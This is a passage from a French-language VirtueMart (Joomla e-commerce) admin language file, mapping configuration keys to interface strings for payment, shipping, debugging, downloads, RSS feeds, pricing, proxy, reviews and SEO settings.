utilisateurs autorisée ?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="Chemin du dossier Assets" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="C'est en général le chemin vers le dossier 'Assets' dans com_virtuemart" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Activer la sélection automatique pour le paiement" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="Lorsque l'option 'Sélection Automatique de Paiement' est activée, si un seul mode de paiement est disponible, celui-ci est présélectionné.
      Si l'option 'Sélection Automatique de Paiement' n'est pas sélectionnée, même quand il n'y a qu'un seul mode de paiement est disponible, une nouvelle page est chargée. Il est utile si le mode de paiement doit valider les données de paiement saisies par l'utilisateur." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Activer la sélection automatique pour la livraison" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="Lorsque l'option est activée, si un seul mode de livraison est disponible, il est présélectionné.\nSi cette option n'est pas activé, même lorsqu'un seul mode de livraison est disponible, une nouvelle page est chargée. Il est utile si le mode de livraison doit valider les données de livraison saisies par l'utilisateur." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Nombre par défaut de catégories sur une ligne" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="Nombre de catégories à afficher sur une ligne." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Mise en page des catégories" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="Réglage de l'affichage par défaut des catégories" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Template de catégorie" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="Choisissez le template Joomla! qui sera utilisé pour afficher les catégories." COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Commande" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Paramètres de commande" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Active les fonctions Outils" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Pour pouvoir utiliser les 'Outils et Migration', vous devez auparavant les activer ici. Ces outils ont été écrits pour réinitialiser la Boutique. Après l'utilisation de cet Outil, cette fonctionnalité est automatiquement désactivée." COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Format de Date de la boutique" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="Le format de date par défaut utilisé par la boutique. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="Débogage ?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Active le débogage. La page de débogage sera ajoutée à la suite de toutes les pages de la boutique. Une aide précieuse pour les développeurs, puisqu'elle montre le contenu du panier, les valeurs de champs, les paramètres, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Adresse IP du client" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="Si vous avez activé 'Limiter le débogage par adresse IP', entrez l'adresse IP que vous souhaitez utiliser pour le débogage" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Téléchargement" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Racine des fichiers en téléchargement" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="Le chemin absolu où sont stockés les fichiers téléchargeables. (avec / à la fin)
      " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Expiration du téléchargement" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Saisir le laps de temps en secondes pendant lequel le fichier est disponible pour le client. Le décompte commence après le premier téléchargement. Quand le laps de temps expire, la clé de téléchargement n'est plus valable.
      Nota : 86400s = 1 jour" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Conserver le niveau du stock de produits après un achat ?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="Lorsque cette option est activée, le niveau du stock pour un produit téléchargeable n'est pas modifié après achat par les clients." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Maximum de téléchargements" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Saisissez le nombre maximal de téléchargements possibles avec la même clé de téléchargement (pour une commande)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Paramètres de téléchargement" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Activer la création automatique de vignettes ?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="Cocher pour la création automatique de vignettes. Toutes les images vignettes sont redimensionnées aux valeurs fournies ci-dessous en utilisant les fonctions GD2 de PHP. (Pour vérifier si ces fonctions sont disponibles, allez dans le menu 'Aide/Système/Infos système' ou 'Site/Informations système' (selon votre version de Joomla!) et cherchez la fonction GD. La qualité des vignettes créées est meilleure que celle des vignettes redimensionnées automatiquement par le navigateur. Les nouvelles images créées sont stockées dans le répertoire /shop_image/product/resized. Si une vignette existe déjà, elle sera affichée, il n'y aura pas de nouvelle création de vignette." COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Active l'utilisation des plug-ins de contenu de Joomla!" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Active l'utilisation des plug-ins de contenu de Joomla. Ne doit pas être cochée si vous n'utilisez pas de plug-in de contenu Joomla!" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Activer les messages de débogage" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Seulement pour les administrateurs" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="Pour tous" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Les messages de débogage seront affichés dans la boutique uniquement pour les administrateurs" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="Pas de débogage" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Activer les téléchargements" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Cocher pour activer les téléchargements. Seulement si vos produits peuvent être téléchargés." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Clé de Langue non traduites en anglais" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Affiche les clés de languages non traduites en anglais." COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Utilisation de la bibliothèque externe jQuery de Google" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_EXPLAIN="L'utilisation de la bibliothèque externe de Google améliore la vitesse d'affichage de la page" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Activer le mode multi-vendeur (expérimental, uniquement pour les développeurs)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="Administration multi-vendeur" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Activez cette fonction uniquement lorsque vous pouvez développer en PHP, c'est une option pour activer le mode multi-vendeur pour la personnalisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="aucune" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Création et envoi de factures en format PDF" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="Pour cette fonctionnalité, il est important que vous définissiez votre chemin sécurisé correctement" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="Page d'erreur" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="C'est la page qui sera utilisée pour afficher les erreurs." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Un cache de session pour la configuration est actif, il est de 500 minutes. Vos modifications peuvent prendre jusqu'à 5 minutes avant d'affecter d'autres sessions, dont la vôtre. Pour générer une nouvelle session, déconnectez vous, puis reconnectez vous." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Lignes pour les produits vedettes" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="Nombre de lignes pour les produits vedettes" COM_VIRTUEMART_ADMIN_CFG_FEEDTAB="Paramétrage du flux RSS" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE="Paramètres du cache du flux" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHETIME="Durée de vie du cache (secondes)" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE_TIP="La mise en mémoire cache accélère le flux et réduit la charge du serveur, car le flux est créé seulement une fois et sauvegardé dans un fichier." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Description du type de produit" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choisissez le type de description du produit qui sera inclus dans le flux." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Activer le flux produit" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="Si activée, les clients peuvent s'abonner à un flux qui les informe des produits les plus récents (de l'ensemble ou d'une certaine catégorie) de votre boutique." COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limite de la description ?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Longueur maximale de la description" COM_VIRTUEMART_ADMIN_CFG_FEED_SETTINGS="Réglage de flux RSS" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Inclure la description du produit ?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="Si cochée, la description du produit sera incluse dans le flux" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Inclure les vignettes dans le flux ?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="Si cochée, les vignettes seront incluses dans le flux." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Inclure le prix du produit dans le flux ?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="Si activé, le prix standard des produits sera ajouté à la description du produit" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE="Titre syndication" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES="Titre syndication pour les catégories" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES_TIP="Titre de la catégorie de syndication ({catname} est l'emplacement réservé pour le nom de la catégorie, {storename} contient le nom de votre boutique)" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Activer l'administration de l'arrière boutique sur le site pour les utilisateurs n'ayant pas accès à l'administration du site ?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="Si vous cochez cette case, les responsables de la boutique (ceux ayant un droit storeadmin sur VirtueMart) n'ayant pas accès à l'administration du site (backend Joomla), peuvent accéder à l'administration de la boutique à partir du site en frontal (accès Joomla: Enregistré / Éditeur)" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Utiliser le CSS de VirtueMart" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activation des style CSS & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Désactiver une partie de ces scripts nécessite la mise en place de scripts de remplacement dans votre Template.
      Dans le cas contraire votre boutique ne sera plus fonctionnelle" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Utiliser le design original CSS de VirtueMart" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Utiliser les scripts du produit" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="Utiliser ces scripts est nécessaire pour le fonctionnement dynamique du panier et des prix !
      Vous perdrez toute l'inter-activité standard en désactivant ces scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Utiliser jQuery de VirtueMart" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="Pour remédier à certains problèmes entre VirtueMart et les templates/composants/modules, vous pouvez désactiver la bibliothèque Jquery interne" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Utiliser le Script Ajax pays/régions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Votre mise à jour dynamique pays/région ne fonctionnera plus sans ce script.
      Merci de vérifier que cela n'influe pas sur le fonctionnement de votre site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Le redimensionnement des images n'est pas disponible. La librairie GD n'est peut être pas disponible." COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="Réglages de la page d'accueil de VirtueMart" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Template par défaut de Joomla!" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Fixe Javascript pour la langue" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Corrige l'erreur de la langue provoqué par certaines versions de Joomla" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Format des e-mails de commande" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="Précise quel type de message est envoyé au client suite à une commande :
      • comme un simple mail au format texte
      • ou un mail comportant des balises au format HTML (Attention certains clients mail ne permettent pas la visualisation d'e-mails au format HTML)
      " COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="E-mail format HTML" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="E-mail format Texte" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Mise en page de la page d'accueil" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="Mise en page par défaut de la page d'accueil" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Nombre de fournisseurs par ligne" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="Cette option définit le nombre par défaut de fournisseurs dans une ligne.
      " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="Longueur maximale de la description du produit pour chaque flux." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Chemin vers les médias de catégorie" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="Chemin vers les images des catégories, vous pouvez utiliser un dossier à l'intérieur du dossier des images Joomla! ou non." COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Chemin vers les médias de produits à vendre" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Chemin vers les médias à vendre. Ce chemin doit être relatif à votre hébergement et non à Joomla." COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Chemin pour les vignettes des produits à vendre" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="Vous pouvez proposer une vingette pour représenter votre produit téléchargeable" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Chemin vers les médias du fournisseur" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="Chemin vers les images du fournisseur" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Chemin vers les médias des produits" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="Chemin vers les images des produits" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Paramètres des médias" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Chemin vers les médias du vendeur" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="Chemin vers les médias du vendeur" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Paramètres principaux" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Boutique multilingue" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activer le système de traduction multilingue" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="Image 'Pas d'image'" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="C'est l'image de substitution utilisée lorsqu'il n'y a pas d'image trouvée dans le répertoire donné" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="Image 'aucune image'" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="C'est l'image de substitution utilisée si vous ne proposez pas d'image pour le produit." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="Aucune surcharge" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Statut des commandes interdisant le téléchargement" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sélectionner le statut de commande pour lequel les téléchargements sont interdits au client." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Statut des commandes permettant le téléchargement" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Sélectionner le statut de commande pour lequel un e-mail est envoyé au client pour l'avertir que son téléchargement est disponible." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Régler la séquence de pagination pour la zone de liste" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE_EXPLAIN="Liste de valeurs séparées par des virgules, pour la pagination utilisée par le site vitrine.
      Exemple: 6,12,18,24 " COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="Bouton - PDF" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Affiche ou masque le bouton PDF sur la boutique" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Afficher 'Prévenez-moi' au lieu du bouton 'Ajouter au panier'" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Ne pas afficher le produit" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Ne pas afficher le produit, si les produits enfants n'ont pas de stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Pas de gestion de stock" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Les produits en rupture de stock peuvent être commandés, et le champ 'Délai de livraison' ci dessous est affiché" COM_VIRTUEMART_ADMIN_CFG_PRICES="Affichage des prix" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Afficher les prix TTC ?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Afficher les prix" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Arrondi des chiffres" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Afficher le libellé" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Choix du groupe pour l'affichage des prix" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="Les prix seront affichés pour les membres du groupe sélectionné et pour ceux ayant un droit d'accès plus élevé." COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Affiche 'Prix sur demande', lorsque le prix n'est pas renseigné" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="Cette option pour permet d'afficher 'Prix sur demande' losrque vous ne voulez pas publier un prix" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Prix de base" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Suivant votre méthode de calcul de la marge bénéficiaire, le prix de base est soit votre prix de revient soit le prix calculé. En frontal, ce prix est affiché qu'aux administratuers de la boutique." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="Nouveau prix de base en fonction de la variante de produit choisi" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="Le prix de base sera modifié selon la variante du produit choisi. En frontal, ce prix est affiché qu'aux administratuers de la boutique." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Prix de base TTC non remisé" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="Utile pour voir l'ancien prix sans remise" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Configuration des prix" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Prix remisé sans taxe" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="Intéressant pour les commerçants et les marchands (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Montant de la remise" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Pour les remises" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Prix de vente final" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="Prix final payé par le client" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Prix de vente remisé sans surcharge de prix" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="Prix de vente remisé sans le prix de vente réduit définit dans la fiche produit" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Prix de vente HT" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="Intéressant pour les commerçants et les marchands (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Affiche le prix par emballage ?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="Cocher si le prix affiché est fonction du prix unitaire et du prix par emballage:
      Prix Unitaire (10 pièces).
      Si la case n'est pas cochée, le prix affiché est comme d'habitude: Prix : xx.xx " COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Affiche la TVA dans le panier" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Afficher les taxes dans le panier" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Montant de la taxe" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Affiche uniquement la taxe" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Prix à l'unité" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="Affiche le prix à l'unité des produits vendus par unité. Permet la comparaison des prix de produits similaires offerts en différents formats." COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Modificateur du prix de base" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="Le modificateur du prix de base en fonction de la variante de produit choisi" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Prix" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Tri des produits" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Nombre par défaut de produits sur une ligne" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="Nombre de produits à afficher sur une ligne." COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Mise en page des produits" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="réglage de l' affichage par défaut des détails produit" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Mot de passe proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="Si le proxy requiert une authentification veuillez saisir le bon mot de passe ici." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Port proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="Le port utilisé pour la communication avec le serveur proxy (principalement 80 ou 8080 )." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Les paramètres globaux Proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL du Serveur Proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Exemple: http://10.42.21.1
      . Laissez vide si vous n'êtes pas sûr. Cette valeur sera utilisée pour se connecter à Internet à partir de la boutique de serveur (par exemple lors de la récupération des tarifs de livraison d'UPS / USPS)." COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Utilisateur proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="Si le proxy requiert une authentification, remplissez, s'il vous plaît, votre nom d'utilisateur ici." COM_VIRTUEMART_ADMIN_CFG_RATING="Afficher la notation" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="Si activé, les clients peuvent lire la notation des produits" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Tous" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Pour les clients qui ont acheté le produit" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Ne pas afficher" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Pour les utilisateurs enregistrés" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Activer la notation" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="Pour tout le monde" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="Si activé, vous autorisez les clients à noter les produits" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="Non" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="Pour les utilisateurs enregistrés" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Lignes pour produits récents" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="Nombre de lignes pour produits récents" COM_VIRTUEMART_ADMIN_CFG_REVIEW="Activer la notation/commentaire des clients" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="Si activé, vous autorisez vos clients à noter les produits et écrire des appréciations sur ces produits.
      De cette manière les clients partagent leurs commentaires et expériences avec les autres clients.
      " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Longueur maximale du commentaire" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="C'est le nombre maximum de caractères pouvant être écrits par un client dans un commentaire." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Longueur minimum du commentaire" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="C'est le nombre de caractères qui DOIVENT au moins être rédigés par un client avant que le formulaire soit accepté." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Pour tout le monde" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Pour les clients qui ont acheté le produit" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Désactivé" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="Pour les utilisateurs enregistrés" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Afficher les commentaires" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Pour tout le monde" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="Si activé, vous autorisez les clients à lire les commentaires sur les produits" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Ne pas afficher" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Pour les utilisateurs enregistrés" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Commentaire et Notation" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO désactivée" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="Si la case est cochée, la fonction SEO est désactivée" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Activer le SEO de VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activer le router.php VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="Paramètres SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Suffixe Seo" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Suffixe Seo à ajouter à la fin des URLs produit" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Traduction multilingue" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="Traduire les liens selon la langue de l'utilisateur" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Utiliser les IDs de produits et de catégories" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="Si elle est activée, l'ID de produit et l'ID de catégorie seront ajoutées dans l'URL. Sinon, l'URL ne contient que le nom du produit ou le nom de la catégorie" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Boutique frontale" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Réglages de la boutique frontale" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Boutique" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Configuration avancée" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Configuration des emails" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Configuration des langues" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Boutique Hors Service ?" 